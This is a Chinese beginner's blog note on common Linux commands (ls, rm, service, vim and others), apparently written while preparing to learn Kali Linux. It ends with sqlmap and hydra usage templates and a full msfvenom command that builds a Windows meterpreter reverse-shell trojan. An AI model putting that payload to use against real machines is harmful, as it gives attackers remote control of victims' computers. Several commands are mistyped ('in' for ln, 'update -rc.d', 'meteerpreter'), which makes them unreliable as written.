【初學Linux】常用命令和自用記憶方法 持續更新
- 2020 年 1 月 1 日
- 筆記
前言
最近在補習linux 相關知識,為Kali做準備,雖然以前接觸過linux但是基本跟小白沒什麼區別,現在開始從最簡單的開始學起,一個一個認命令。歡迎各位萌新跟我一起學習!
正題
基礎命令
ls 列出文件或目錄
-l 列出文件詳細信息
-a 列出所有文件包括隱藏文件
mkdir 創建目錄
-p 創建多個目錄
例如 mkdir -p 1/2/3/4 創建 1 2 3 4子目錄
cd 切換目錄
touch 創建空文件
echo 創建有內容的文件
格式:echo 內容 > 文件名
echo hello world > 1.txt 單箭頭為覆蓋寫入
echo hi >> 1.txt 雙箭頭為疊加寫入
cat 查看文件內容
記憶:貓 貓一眼 2333
cp 複製
例如:cp 原文件 新文件位置
mv 移動或重命名
例如:mv 原文件 新文件位置
more、less 分頁顯示文本文件
rm 刪除文件
-r 遞歸刪除,刪除所有子目錄及文件
-f 強制刪除
find 查找指定文件
wc 統計文本中行數,字數,字符數
grep 在文本文件中查找某個字符
rmdir 刪除空目錄 少用
tree 樹形結構顯示目錄
pwd 顯示當前目錄
in 創建鏈接文件
head、tail 顯示文件頭、尾內容(默認前後10行)
服務命令
service 服務名 restart 重啟服務
service 服務名 start 啟動服務
service 服務名 status 查看服務狀態
service 服務名 stop 停止服務
update -rc.d 服務名 enable 將一個服務添加到啟動項
update -rc.d 服務名 disable 將一個服務從啟動項去除
文本編輯命令
vim 命令的三種模式:命令模式(esc),插入模式(a),編輯模式
命令模式:
:q 退出
:q! 強制退出
:wq 保存並退出
:set number 啟動行號顯示
:set nonumber 關閉行號顯示
yyp 複製光標所在行並粘貼
nano 文件名 進入可視化編輯模式
leafpad 以圖形化打開文件(和win一樣)
工具命令
通用格式:
工具名 參數 路徑 鏈接
工具名 –help 查看工具說明
例如:
sqlmap -u URL 參數 庫 參數 表 參數 字段
hydra 參數 文件 參數 文件 參數 地址 端口
msfvenom -p windows/meteerpreter/reverse_tcp lhost=192.168.0.1 lport=4444 -f exe > text.exe
生成一個windows下的木馬